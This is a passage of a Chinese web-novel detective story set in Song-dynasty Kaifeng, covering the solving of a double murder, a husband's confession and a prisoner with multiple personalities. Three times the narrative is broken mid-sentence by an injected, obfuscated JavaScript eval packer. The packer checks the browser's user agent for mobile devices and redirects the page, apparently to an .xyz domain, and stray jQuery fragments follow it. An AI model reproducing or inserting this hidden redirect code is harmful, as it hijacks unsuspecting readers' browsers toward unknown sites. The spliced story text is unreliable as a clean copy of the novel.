“差不多就是这个意思,站在凶手的角度思考问题。他为什么要布置这么复杂的仪式场景?要知道现场越复杂,可能留下的线索就越多。另外,这些宗教仪式究竟代表了什么含义?这些含义中很可能投射出凶手的心理状态,心理倾向又会明确的反映在一个人的外在特征中。”
宋连停下,想了想举了个例子:“比如,有创伤应激症的人,由于海马体萎缩,削弱了对威胁的理性判断,边缘系统持续激活使身体处于‘随时反击’状态,往往会对周围反应产生一惊一乍的应激,表现为双臂交叉,或对特定环境排斥;再比如慢性压力的人往往白发早生,因为暴食催吐导致牙齿损伤明显;而狂躁症患者由于前额叶皮层抑制功能失效,多巴胺水平激增引发‘欣快感驱动’,行为脱离现实约束,会说话极快、思维奔逸、举止夸张、坐立难安、喜欢冒险、刺激、购买欲极强……”
05
宋连说了一大堆,不能说是为难李士卿,但也有戏弄一千多岁老大爷的意思。
但李士卿并没有露出不耐烦或质疑的表情,而是很认真的听完了。
“宋检法,你说的这些是从何得来的?”
“这是逻辑推演,是科学方法论。”
“科学?”
“科学是通过系统性观察、实验和逻辑推理,探索自然、社会及思维规律的知识体系与方法论。其本质是基于证据的可验证性,旨在描述、解释和预测现象——这不是我下的定义,词典里就这么解释的。”
李士卿也不知是真听懂了还是不懂装懂,总之他思索一番,说:“在我看来,你之‘科学’,我之‘术法’,并无不同。”
“狡辩!你要真懂什么术法,这种案子掐指一算就应该算出凶手是谁;你要真能与鬼神对话,随便找个孤魂野鬼,问问半年前郭氏怎么就被扔在那祠堂不就好了?再不济你直接问问那座神像呢?你能你上啊!”
李士卿叹口气:“术法之道,并非宋检法想的那样……”
宋连:“呵,还说你不是骗子?”
李士卿反问:“那么宋检法所说的科学,就能解世间一切疑问吗?”
宋连语塞:“科学也在发展嘛,还有很广阔的边界,但假以时日,科学肯定能解释世间万物。”
“如你所说,了解基本信息,然后做出预言,这与术法有何不同?”
宋连的脸色一定不太好看,以至于李士卿露出了满意的神情。
19.14 力道刚刚好,懵逼又伤脑
01
李士卿这人,在宋连眼中除了长相一无是处。但现在他似乎发现了这人另一个小小的优点:懂得见好就收。
此时他已经主动将话题带回那两起连环案了。
“你所描述的,应该是‘水陆道场’中的地狱变相图。”
“水陆道场?”听起来和水陆全图还是有点关联的。
“地狱变相图描绘了不同地狱场景、展示犯下不同罪业的人将如何接受惩罚。能够令生者产生强烈的忏悔之心。而‘水’与‘陆’则是两种刑罚的方式。”
例如宋连所说的“血池”属于“水刑”的范畴,而“铁树”则是“陆刑”的一种。
“若说寓意,则有不同说法。一说为警示作用,规范世人行为,否则将会堕入轮回地狱,遭受无量业苦;另一说这是一种超度仪式,目的是为亡者祈福,帮助亡灵脱离十八层地狱困境,进入更好的境界。”
02
欺负千岁老人不懂现代科学的恶果,很快就反噬到了宋连本人。
刚才对着李士卿一顿“科学观”输出,想必对方的心情和此刻的他是一样的:懵逼又伤脑。
“帮助亡灵脱离困境……感觉不像。倒像是要把活人都推下地狱。”
照这个说法来看,凶手大概率是带有某种“惩罚”目的的。
TA恐怕是一个权力欲、控制欲极强的反社会人格,有一套自己的价值体系,扭曲、残暴;TA即是审判者有事施行者,漠视道德与法律……不,也可能有极高的道德洁癖。
这可能源自于TA的童年创伤。结合心理专家预测TA很有可能在生理上缺失了某种功能……这样的人很难甘于隐于大众,做籍籍无名的小人物……
所以……他们的侦查方向错了!
宋连恍然大悟。
因为命案发生在城中村棚户区,他们先入为主认为凶手是流窜在底层的闲散流民。但如今看来,他很可能是个“精英阶层”。
“李老师你再跟我详细说说,这个地狱变相图还有哪些场景,分别都代表什么寓意……”
宋连现在看李士卿觉得哪哪都顺眼,精神小伙,帅穿地心,帅出宇宙!
不过“李老师”没有机会向唯物战士传播传统文化了,因为“宋检法”这屁大点的住所里,又来了一位熟客。
“宋检法!”甲丁洪亮的声音回荡在小院里,惊跑了一树麻雀。
“有了新发现!”
03
暮色沉沉,最后一点余晖也逐渐暗淡,星星们按时打卡上天。
宋连和甲丁已经站在开封府衙的公堂之内,一同来的还有顾问李士卿。
宋连万万没有想到,自己突破了30万公里/秒的物理定律,都没能突破熬夜加班的社畜命运。
算了,至少自己还能衣着整洁,仪容干净。再看甲丁,这几日风吹日晒,披星戴月,已经不成人样了:幞头多日不洗,天天被汗浸着,已经干硬定型;圆领半臂衫上全是尘土,拍一拍肉眼可见一团团飞起的尘雾;衣裤已经完全看不出原本的颜色,裤脚与裤管已是两种颜色,白色绑腿已经黢黑;最惨的还是双脚,单薄的蒲鞋已经鞋底分离,五根脚趾露在外面,还怪凉快的。
模样如此,身上的味道更不必说了。甲丁也知道自己已经腌入味了,故意远离人群,把蒙脸的面巾又网上扯了扯。
傅大人已经坐在高堂上,等待甲丁汇报工作。
04
“先说那郭大伟的情况”甲丁拿出小本本,上面是他记录的各方口供,“五年前郭氏确实摔断了腿,街坊也是那时候才知道她怀孕了,但不是听稳婆说的,而是从郭大伟口中得知。相反,邻居并未见过稳婆,只是郭大伟夫妇这么说了,他们便也信了。毕竟这也不是什么光彩之事,没人会开这种玩笑。”
那之后,郭大伟夫妻生活一直比较平静,并未有什么异样。直到大约一年前开始,街坊邻居时常听到二人激烈争吵,甚至有时还会大打出手。
一开始邻居猜想,是因为郭氏不能生育,而郭大伟在城中做买卖,接触的人多,可能是有了新欢。
但后来有街坊看到郭氏与一男子过从甚密,有几次郭大伟不在家中,郭氏竟带着那男子回了家!
之后没多久,郭氏就离家出走了,因此坊间都传言郭氏跟那男子私奔了。
傅濂捋了捋胡须:“这男子,会不会就是元英才口中那个‘元老三’?可打听到男子样貌?”
“有的,”甲丁从怀中掏出一副画像,“我叫画师按街坊描述的样子,将他画了下来。”
画像上那男子穿着天青绸襕衫,带包头幞头,瞳仁清亮如明前茶汤,眼尾微微扬起,鼻梁线条比值,片在鼻尖处勾起个圆润的弧度,带着三分书卷气,是工笔细描的仕子骨相。
宋连瞅了眼画师的人像图,撇撇嘴:“跟我画的也不差多少嘛……”
“呃……”甲丁一肚子槽,碍于这人身体里有鬼,忍了忍还是咽下去了。
作画人只画了上半身,也看不出他身高体重,但甲丁向目击者打听到,此人比那郭氏高出一头,身材与郭氏对比,可谓瘦如竹竿了。
这也是叫街坊无法理解的:那郭氏既无样貌也无家底,如何能吸引如此模样俊美的男子?
宋连拿过画卷仔细打量一番,又对照着端详了李士卿,撇撇嘴说:“我看也就一般,哪比得上我们李顾问丰神俊朗。”
李士卿:“……”
宋连戏弄得逞,有些得意。傅濂在一旁偷偷翘起嘴角:看样子两人相处得十分融洽,甚好,甚好!
05
众人还在议论这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752737|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对并不相称的出轨男女,宋连却默默收起画像,对甲丁说:“你们这是偏见。好看的皮囊千篇一律,有趣的灵魂百里挑一,说不定郭氏是个风趣幽默、魅力四射的人呢!”
那郭氏被发现时已是尸腊,藏于破败祠堂的石像上方。丈夫说她不孕不育,离家出走;邻居说她不守妇道,与人有染;人们只记得她身宽体胖,配不上那貌若潘安的男子。
谁也没想过她生前究竟是怎样的一个人,唯独将她开膛破肚,掏心掏肺的宋检法始终将她看作一个活生生的人,至少曾经是。
是人就有性格脾气,就有七情六欲,有缺点也必有长处。
只可惜斯人已逝,他们也已经很难了解了。
众人沉默,只有李士卿偷偷看了眼宋连,眼神里有了一些变化。
06
有了嫌疑人画像,就可以复拓一些贴出去通缉。但甲丁还有下文。
“就在郭氏离家出走两三个月后,郭大伟与一个叫‘陈莲儿’的女子在一起了。”
甲丁日夜蹲守,还真蹲到了那个陈莲儿。
“这郭大伟一家真是走了桃花运,郭氏那男子够俊美了,可这陈莲儿的模样更是惊为天人!”
他又掏出另一副女子画像,自顾自欣赏了起来,还感慨:“眉似远山含黛,眸若清潭映月,眼尾斜飞三分剑势;鼻梁挺若悬胆,唇色淡如春樱,真是仙姿玉貌。”说完还满意点头,“画像与本人几乎不差分毫,可以想见那俊朗男子应当就是那个模样的。”
甲丁得了画像原本想回来复命,又觉得还不够仔细,于是又耐心蹲守一夜,待第二天那陈莲儿从郭大伟家中出来,他一路尾随,跟着找到了陈莲儿的家。
“这陈莲儿是个租户,我后来找到房东看了租契,上面确实是陈莲儿的名字。不过街坊对这女子倒是没什么好颜色:她一直独居,且时常出远门,一走就是一月有余。故众人猜测她应当是做皮肉生意的。因为曾有一妇人来闹过,说她抢男人之类。”
“闹事发生在什么时候?”
甲丁思索了片刻,答:“八、九个月前。”
宋连又问:“那妇人长什么样?”
这回甲丁被问住了,他“哎呀!”一声,懊恼地拍了拍自己的后脑勺:“这么重要的信息,我怎么忘了问!”
宋连展开陈莲儿的画像,发出了一声:“咦?”
他将陈莲儿的画像与那出轨男子的叠在一起:“看出什么了吗?”
李士卿对着两幅画仔细打量了一番,也发出了“嗯?”的感叹。
宋连又将画像翻转,让傅大人也瞧瞧。
傅大人盯着看了半天,突然:“哦?”
只有甲丁一头雾水,疑惑地张口:“啊?”
宋连:“啊什么啊,找几张纸来,再来点浆糊。”
20.15 是她先出了轨还是你先劈了腿?
01
五年前,郭氏摔伤,郭大伟对外称其怀孕流产,此后便不能生育;
一年前,邻居发现郭氏夫妇开始频繁吵架,甚至动手;
八、九个月前,街坊听到有一妇人去陈莲儿家大闹,说她抢了自己男人;
与此同时,或这之后不久,郭坊邻居看到郭氏与一男子过从甚密;
大约半年前,郭氏失踪,被猜测与该男子私奔;
三个月前,郭大伟与陈莲儿同居。
宋连把几张纸铺开用浆糊贴在公堂一面墙上,又将陈莲儿与那男子的画像贴在墙纸中间,围绕二人展开了上述时间线和人物关系的梳理。
“甲丁,你见到那个陈莲儿本人,觉得她身高有多高?”
甲丁回忆了一下:“与郭大伟站在一起时,到郭大伟耳畔?”
宋连大致心算一下,在陈莲儿画像旁写了个“≈170”。
“你刚才说,据邻居回忆,那俊美的男子比郭氏高出一头。”他又在那男子画像上写了同样的“≈170”
他再问甲丁:“现在看出什么了?”
甲丁挠头:“二人身高差不多?”
宋连摇头,将两副画像取下来,对光慢慢叠在一起。
神奇的事情发生了,抛去一男一女,发型、衣着各不相同,两张画像的眉眼、鼻型、嘴型竟然十分相似,几乎重合在一起!
“妆容、画家的笔触,都会产生一些误差,但俗话说‘美人在骨不在皮’,皮囊可以改变,但骨相不能。同一个人的五官无论如何描画,有一些特性是不会改变的。”
甲丁看着那重叠的面容,和“≈170”的身高,恍然大悟。
这次发出的是“啊!”的感叹。
02
“郭氏摔伤可能并不是单纯的意外,她明明没有怀孕,郭大伟却一口咬定她流产再也无法生育。
郭氏已经死了,真实原因只能提审郭大伟。
但可以肯定的是,郭大伟早在一年以前就认识了陈莲儿,两人背着郭氏交往了一段时间,最终还是东窗事发,被郭氏发现了。
于是郭氏去陈莲儿住处大闹。
接下来,事情的走向就十分奇特了。很可能在郭大伟与陈莲儿共同密谋之下,陈莲儿女扮男装,去勾引郭氏。
至于为什么是书生打扮,这就又要说回郭氏究竟是一个怎样的人。
而这也恰恰证明了,这个主意很可能就是郭大伟出的,因为只有郭大伟才最了解自己的妻子。
我想,郭氏大概读过书,至少识字,她能被‘书生’吸引,必然是听得懂诗词歌赋、经学典籍的。她向往仕人阶层,因此看不上商人身份的丈夫,再加上不孕不育的很可能是郭大伟。
老公指望不上,也不会有下一代,不但如此,还发现丈夫出轨……可这个时候,出现了一个貌若潘安,满腹经纶的俊美书生。
这男子既然是为郭氏量身打造,必然戳中了郭氏的心尖,她怎么可能不动心呢?
汝之蜜糖,彼之砒霜。郭氏万万想不到,她满心满意的贴心小奶狗,竟然是要她命的恶狼。
陈莲儿伙同郭大伟杀了郭氏,将其尸体藏于祠堂石像上方,却不想被同样偷腥的卫灵秀偶然撞见,卫灵秀的尖叫引起元英才的恶念。”
这是两起因为偷情偶然连接在一起的命案,它们本质上并无关联,却在机缘巧合下共同完成了一出“地渊祠诡案”始末。
03
宋连完成了他的推理,匪夷所思但又合情合理。
只是甲丁还有不同意见:“可就我观察,那陈莲儿虽身高相符,却十分柔弱,手无缚鸡之力,更别说提起一把斧头砍人了!况且,根据陈莲儿邻居所说,郭氏‘离家出走’的时候,陈莲儿又出远门了,走了有一个多月。”
无论当时案发第一现场在哪里,如今都不可能再找到任何有效线索,至于陈莲儿出远门这件事,则不足为信。
“当务之急,是先找陈莲儿前来审讯。这陈莲儿能女扮男装在郭氏面前不露马脚,必然是个心思极为缜密的人。从地渊祠发现卫灵秀命案至今,已经过去数日,恐怕我们早已打草惊蛇了!”
傅濂再次下令,差甲丁带几名衙卒前去陈莲儿家中拿人。
04
陈莲儿租住的地方在观桥附近,距离宣化门只有一个街区,距离地渊祠也不过几百米。
当众人抵达时,早已人去屋空。
到底还是晚了一步!
衣柜、木箱都已经搬空,生活用品也都没有了,甚至连茶盏这类物件也都带走了,显然是有充分准备。
只剩下一柄斧头,因为太重的关系不方便携带,被留在了家中。
这斧头形状与郭氏伤口浇筑出的模具完美吻合,就连斧刃磨损的印迹都一模一样。杀人凶器十拿九稳。
宋连下意识想翻勘验箱,里面有鲁米诺试剂可以显像斧头是否有血迹残留。可惜捞了半天什么都没捞着。
甲丁:“宋检法,你在找何物?”
宋连叹口气:“找我的工作搭子,我的灵魂伴侣……”
甲丁点着头“哦”了一声,也十分遗憾地说:“李公子毕竟不在开封府当差,没理由要求他时刻跟着我们出生入死的。”
宋连听出不对,疑惑:“李公子?”
甲丁:“李士卿李郎君啊。”
宋连无语:“他为什么会是我的灵魂伴侣啊!”
甲丁摊手:“我等肉眼凡胎,也看不到你魂魄啊……”
“不是,灵魂伴侣它不是那个意思,它跟灵魂没关系,它是……”
宋连越解释甲丁越迷茫。
蒜鸟蒜鸟。
衙卒喊来了街道主任和房东,房东称陈莲儿三天前就已经退了租离开了,说是要去外地投奔亲戚。
三天前……正是甲丁蹲守的时候。
“哎呀!”他懊恼地猛拍大腿,“都怪我!让她发现了!这女人着实了得,装得毫无破绽,大意了啊!”
宋连拍拍他安慰道:“我们面对的是一个极其狡猾且穷凶极恶的人,她善于伪装,能一人分饰两角不露破绽。确实很难对付。”
甲丁依旧很自责,但还是很快打起精神,从怀中又掏出那两张画像:“我这就去找那画师,让他画个几十张,传递至相邻州县。”
他正准备出发,门外闯进来一个男人,正是郭大伟。
“大人!我来投案!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770912|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>郭大伟一路跑到宋连面前,扑通跪下,又说了一遍:“我来投案!”
他说完之后,才发现这屋子已经空空如也,郭大伟的眼神暗淡了下来,面露失望的神色,显然没有想到这屋里的主人竟然跑路了。
可这种失落没有持续很久,再看宋连时,眼神又坚定起来:“我来投案,内人郭氏是我所杀。”
05
“我与内人郭氏是通过媒人介绍认识。据说她家从前也是做生意的,家境十分富足。当时她已有婚约,是家中资助的一名穷书生。她父亲出钱供书生读书考功名,书生也承诺无论结果如何,都会回来娶她。
那书生努力用工,真的考中了举人。内人家中得知喜讯,花了大笔银钱张罗酒席,筹备女儿的婚礼。却没想到那举人老爷反悔了。他受命去了别处做官,扔下内人一家再也没有联络过。我丈人因此落下心疾,家中生意一落千丈,女儿又落得个被悔婚的坏名声,只能‘下嫁’。
我没读过书,大字不识几个,是个粗人。她对我有诸多不满,日子过得勉勉强强。婚后几年一直没有子嗣,她觉得是我不行……因此更加看不上我。很快,街坊邻里也有了议论,我们面子上过不去。五年前,内人意外摔伤,当时我们心生一计,就说这一跤把孩子摔没了,落下了病根,以后也很难怀上。
这方法果然有效,大家对我们的看法从嘲笑变成了同情。
这样又勉强过了几年,我就认识了莲儿。
莲儿也是苦命人,自幼被爹娘卖给人贩子,颠沛流离,费了好大力才从人贩子手里逃出。她做过织女,做过酒肆舞姬,一点点攒出了自己的生活。我们聊得甚欢,渐渐产生情愫。对她了解越多,便越觉得她的不易、她的过人之处。
我在内人眼中缺失的,在莲儿那里都能得到补足。
我也曾试探着提出和离,可她不同意,还明确告诉我,她不接受我纳妾,说我一旦纳妾,别人就又会说她闲话,笑她不能生育。
眼看和离不成,我与莲儿就始终无法名正言顺,一旦内人报官,莲儿就很可能会因为毁坏我们夫妻婚姻而受刑,无奈之下,莲儿想出一计。
她得知内人喜欢读书人,于是扮作书生去勾引。原本只希望能教唆她与我和离,可没想到她还是不同意……
自我们结婚之后,她百般羞辱我、瞧不起我,我都忍了,可一想到往后余生都不能和所爱成眷属,要过着几十年反复煎熬的日子,就绝望不已。
终于某日,莲儿再次扮作书生与内人见面,尝试尝试说服她与我和离。我听说妻子背着丈夫与外人苟合,即便被丈夫打死也是无罪的,于是决定偷偷跟去,想“捉奸当场”。
但不知为何,内人竟然发现了我与莲儿的关系,反要挟我要去报官!这怎么能行呢!一旦官府查出莲儿,她也难逃死罪。
一切都是因我而起,不能叫莲儿替我受惩罚。于是我将妻子郭氏砍杀,尸体装入木箱,吊在那神像上面。
那祠堂一向破败,还有诅咒传说,原本就无人敢去。做了那些之后,我又时不时在附近散播一些危言耸听之辞,让周围的人更加畏惧,不敢靠近。
直到……我听见茶坊的说书先生,讲了青面罗刹女的话本……”
21.16 你我本无缘,全靠夺舍圆
01
郭大伟主动投案,将犯罪动机、犯罪经过说的清清楚楚,细节也几乎都对得上。
一起由中元鬼节引发的两件命案就此告破。
傅大人开心的两眼放光——这跟买一赠一有什么区别!查一个案子,完成两个KPI!
皇帝年事已高,近些年对这类鬼神佛道之说迷信得不得了。这案子办得如此迅捷漂亮,傅濂都能想到皇上听汇报的时候得有多入迷。
按照司天监李大人的意思,不但宋连能保命,说不定提刑司还会得到嘉奖。
总之,事不宜迟,应当立刻结案上报,毕竟对元英才、郭大伟的判决还需要走一堆的流程。
但宋连却高兴不起来。
“宋检法,案子破得这样完美及时,你怎么看起来并不高兴啊?”甲丁不能理解。
宋连这才意识到,自己一直眉头紧皱。“因为还有很多疑问没有解开啊。”
甲丁:“啊?有吗?”
宋连伸出手来,跟甲丁掰着指头列清单:“元英才口中那个‘元老三’究竟是谁,和案子到底什么关联?杀害郭氏的凶手身高与郭大伟不符,却与陈莲儿吻合,但根据你的观察,以陈莲儿的力量,很难造成郭氏身上那样的创伤……郭大伟显然在包庇陈莲儿,但如果凶手也不是陈莲儿,又会是谁,是那个元老三吗?”
宋连一堆问题,问得甲丁满脑子问号,简直要爆炸。
想也想不明白,甲丁一拍脑袋:“哎呀!陈莲儿跑了,找不到了,但元英才还在羁押,想知道元老三,你问问不就得了!不过得赶紧了,后天他就要移送大理寺复审了!”
02
元英才还在大牢里羁押着,对外面发生的事情一无所知。
牢头听说他们要见元英才,表情十分古怪。
“怎么?不行?”
“也不是不行……就是……嗨!怎么今天一个两个的,突然都对那疯子有兴趣了……”
甲丁疑惑:“还有谁?”
“一个年轻小公子,穿着一身白,说是开封府的幕僚……”
是李士卿?他来找元英才做什么。
宋连正要往里走,又被牢头拦住了:“二位爷,那犯人举止太古怪了,像是有疯病,但又不……哎呀我也说不清!二位可得小心着些!”
甲丁更好奇了:“怎么个怪异法?”
那牢头把甲丁和宋连让到小桌边坐下,压低声音说:“他这幅皮囊下面,还装着别人!”
甲丁立刻看了眼宋连,问:“他也被夺舍了?”
牢头搞不懂为什么要用“也”字,但夺舍这词倒是用的精准:“对对!就是那个感觉!他还自己和自己吵架!一会儿骂元英才,一会儿骂元英雄……”
“是不是还有一个元老三?”宋连问。
牢头震惊极了,瞪大了眼睛:“大人是怎么知道的!这元老三出现的最多,都要骂他几句,有时候叫他元老三,有时候叫他元英平,我也是听他骂了好几天,才搞清楚谁是谁的。”
牢头思索片刻,问:“你们说,他是不是真被鬼给附身了?他到底是什么天生圣体,这么多个鬼抢着要……”
甲丁心说这算什么圣体,身边这位才是,一夜之间习得了特异功能……
“啊!!!!救命!救命啊!!!!”
牢里突然传来尖叫,声音扭曲得厉害,听不出是谁。
但牢头像是已经熟悉了,突然起身道:“是元老三!”
甲丁和宋连同时喊了声“糟了!”
03
牢房里,穿着囚服披头散发的元英才整个人扒在铁栅栏上,双手伸出门外想要抓李士卿,嘴里不停喊着“救救我,救命……”
李士卿则退后了几步,任由对方在空气中猛烈挥动双手。
牢头抄着棍子冲过来,一棍子将元英才的双手打回到牢房里,宋连则揪着李士卿走到一旁。
“你来这里干什么!”
李士卿:“傅大人让我协助开封府查案,我自然是来审问凶手的。”
“傅大人让你做顾问,说白了就是找你监视我,别说的那么冠冕堂皇!查案和你没关系,离嫌疑人远点!”
宋连松开李士卿,对方嫌弃的拍了拍被抓过的衣角。
牢房里,元英才瑟缩在阴暗的角落里,恐惧地看向宋连,眼神里带着点祈求和希望,嘴里仍然在呢喃着“救命”。
宋连走到铁栅栏跟前,这个距离,元英才只要一发疯就能掐住他。
牢头和甲丁都很紧张,但宋连却十分淡定,他看着阴影中瑟缩的人,叫他名字:“元英平。”
04
甲丁、牢头,甚至李士卿都一脸诧异看向宋连。
“元英平?那个元老三?那元英才又是谁?”
甲丁觉得头昏眼花,自从宋检法被夺舍之后,他时常感觉自己的脑子不够用。
“元英才、元英平都在这里了,还有一个……那个特别能打的,叫什么名字?”
“元英平”听到这里,眼睛亮了起来,蹭地从黑暗中站起来,跑到宋连面前,伸手一把抓住宋连的宽袖。
甲丁以为他要对宋连不利,抽出牢头手中的棍子就打了过去。“元英平”吃痛惨叫一声,缩回了手,戚戚看向宋连。
宋连制止了甲丁:“没事的,他现在不会做什么出格的事。”
那“元英平”点了点头,感激地看向宋连:“大人知我!这么多年,从没有人信过我!就连我亲生父母都觉得我患了疯病!可我没有疯!”
“宋检法,这到底怎么一回事!”甲丁的好奇心已经关不住了,马上要从嗓子眼跳出来。
“这叫‘多重人格障碍’,也叫‘分离性身份障碍’,是一种非常罕见的精神类疾病。病人会出现两个以上明显不同的身份或人格部分,就有如‘在一个身体里住着不同的人’”
甲丁琢磨着就觉出了一丝熟悉的感觉,看向宋连:“这不就是……夺舍么?”
“……这么说可能更便于理解,”感谢老祖宗发明了夺舍这个词,太好用了!
“夺舍是被妖魔鬼怪占据了肉身,分离性身份障碍则是两个或者更多的‘普通人’的意识,共用了一个躯体。非要说的话,就是人和鬼的区别吧……”
尽力了,宋连真的尽力了,再解释下去他怕自己也说不清区别了。
甲丁恍然大悟:“我懂了,就是怀胎时原本是双胎甚至三胎,但不知是何原因,融合成了一个人形!”
宋连却摇头:“多重人格不一定有血缘关系,甚至不一定是同一个国家、人种。”
这下甲丁彻底懵了。听不懂,根本听不懂。
他们默契地不再纠结这些怪异的用词和匪夷所思的怪病,总之结论就是,眼前的犯人的确患有疾病,某种不疯的疯病……
甲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782619|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丁觉得自己也快疯了。
同样听不懂宋连科普的还有当事人,元英平仍旧可怜兮兮看着宋连,祈求道:“大人,既然你已知道我所言不虚,那也一定相信,那晚杀人的不是我!”
“是那个武力值爆表的人,他叫什么?”
“元英雄。”
宋连点头,觉得这仨人名字取得倒真是很有代表性了:元英才的特点就是很有才学,口才也好,出口成章滔滔不绝;元英雄不是英雄而是个超雄;元英平就非常的平平无奇了……
“他们俩经常欺负你?”宋连问。
元英平低下头片刻,再抬头的时候眼含泪光:“他们一个才学出众,一个力大无穷,文可考取功名,武能战场杀敌,只有我……又胆小又懦弱……看不起我也是应该的。过去我醒着的时间最长,他们只是偶尔出现,现在……我也不知道,但我感觉我醒来的时间似乎已经很短了。”
宋连叹息一声,又问:“那晚究竟发生了什么?”
05
勾引卫灵秀的始终都是元英才,他有才学有野心也有色胆,日日流连于青楼酒肆,如同他自己所供述的那样,他的确是被卫灵秀欺骗了,但不同的是,他最初接近卫灵秀的目的也是为了骗财骗色。
这是两个骗子的顶峰对决,只是卫灵秀似乎略胜一筹。
与她在祠堂云雨的原本的确是元英才,但那时元英才的人格已经不太稳定,极易受到周围刺激和影响。
卫灵秀踏进祠堂之后被惊吓过几次,每一次都在刺激元英才变得更加不稳定,同时让元英雄的人格逐渐从沉睡中苏醒。
随着二人荷尔蒙的升高,大脑兴奋值快速上升,元英雄的狂暴先他的人格到达,唤起了元英才对卫灵秀欺骗他的愤恨,但此时元英才只是激烈狂躁,未对卫灵秀下手。
真正的导火索,是卫灵秀抵达阙值时抬腰仰头,看到了暴露在外的郭氏的尸腊,她突然发出的尖叫成了激怒元英雄的最后一根稻草。
狂暴战士彻底苏醒,还带着元英才留下的一点怨恨和愤怒。
元英雄醒来后先看到的是卫灵秀惊恐的眼睛,顺着看上去便看见了尸腊的轮廓。之所以是轮廓,因为当时元英雄的神志还不清晰,他朦胧的将眼前的意向理解成是神明对卫灵秀的惩罚,自己则是执行这个惩罚的人。
于是他掐住卫灵秀的脖颈,直到她断气。
“以元英雄的力量,这一切只不过须臾而已。他自知闯了大祸,便当即消失,强行唤我出来……我醒来的时候人已经到家中,对这一切还毫不知情,直到第二日东窗事发。他们知道我胆小,怕我出现会供出整个事情,于是又强制将我关押,让元英才出来应对……我花费了很大精力才勉强醒来一会儿,又被元英雄压制回去,就是在府衙大打出手那时。”
元英平讲述完事情的所有经过,像是耗费了极大的精力,虚弱地贴在栅栏杆上喘气。
“我……我时间到了……大人,快、快离我远些,元英雄……他要……”
元英平的眼珠突然快速颤动,两只瞳孔竟然朝着不同方向震动,他张开嘴发出长长的“啊——”的颤音。
甲丁将那棍棒横在宋连身前,护着宋连向后退了好几步。
突然,元英平的喊叫停下了,眼球也恢复了正常,只是他再度抬头的时候,整个人的气场果然发生了巨大的变化。
元英平消失了,元英雄出现了。
22.17 专业的神棍专治各类僵尸
01
苏醒的元英雄一眼就看到了甲丁。
上一次他醒来,大闹开封府,将一众衙卒打得落花流水,却被甲丁一招制服。
此刻再见宿敌分外眼红,怒气值瞬间满格,他后退两步猛地撞向铁栅栏,发出重重的“哐啷”声。
栅栏嗡嗡震动,抖落了一层尘土。
铁器撞击的声音使得元英雄更加气急败坏,他以胳膊、拳头、甚至脑袋对栅栏发出猛烈攻击,瞬间眉骨皮开肉绽,头破血流。
人马上就要移交大理寺复核了,万不能死在自己当值的时候,牢头眼睁睁看着元英雄一下一下撞击,他撞击的哪里是牢房,分明是自己的饭碗!
他扑通一下跪在地上,求各位想想办法阻止这活祖宗。
甲丁此刻也无计可施,和一个人不人不鬼的同事朝夕相处就已经够晦气了,上个班而已,他可不想把命交待在这里,旁边那个被夺舍的还没死,他可不能先一步变成鬼。
那元英雄还在撞击,粗长的一排纯铸铁栅栏竟被他撞弯了几根!上下深深扎进墙体和地下的部分也开始松动变形。
照这个程度再来几下,恐怕这牢房很快就会被生生撞穿!
02
“宋……宋检法,你你你刚才说什么来着,这个分离什么的障碍,是人不是鬼?”甲丁面对狂怒的大力士,声音都颤抖了,“你见过力道这么生猛的人?!”
“哐——!”一根铁栅栏已经崩断,元英雄伸出血肉模糊的手,拽着断裂处将缺口拉扯得更大,形成了一个椭圆形的洞。
“这是个医学难题、未解之谜!”宋连一边后退一边想对策,还要回答甲丁的提问,“有些人格确实会出现一些类似特异功能的特性,但我更喜欢称之为……天赋异禀。”
“砰!”那根栅栏已经被完全弯折卷开。只是这还不足以让元英雄从里面出来。
“甲队,如果等下他跑出来了,你还能把他打服了不?”绝望的宋连很想得到甲丁的一个保证。
可惜甲丁保证不了:“宋爷爷!这铸铁的栅栏,上下固定,要拉动它须得千斤力!我要早知道这怪物如此神力,当初打死我也不敢上前跟他较量啊!庆幸那厮没使全力,不,就根本没有使力!否则现在你我只能通过李士卿对话了!”
李士卿:“可你没有买那枚通灵符,恐怕也很难与我交流。”
宋连脑子都要炸了,现在是翻旧账说这事的时候吗!而且这李士卿为什么一副如此淡定的死样子!等会儿那怪物出笼了,他是能跑得比较快吗?!
这个档口,元英雄已经又拽出了一根铁栅栏。一旦这根断裂弯折,空缺口便足够他越狱出来。
以他此刻的力量与暴怒值,一手捏断一个脖子还不是轻轻松松的事情。
03
甲丁、宋连还有牢头已经退无可退,情况太紧急,谁也没注意到,刚才一直站在身后的李士卿不知什么时候又消失了。
仿佛只是一个瞬间、须臾、刹那……宋连也不知道该怎么形容,总之就是连眼睛都没来得及眨一下的时间里,李士卿又突然出现在他们身前,与元英雄近距离面对面。
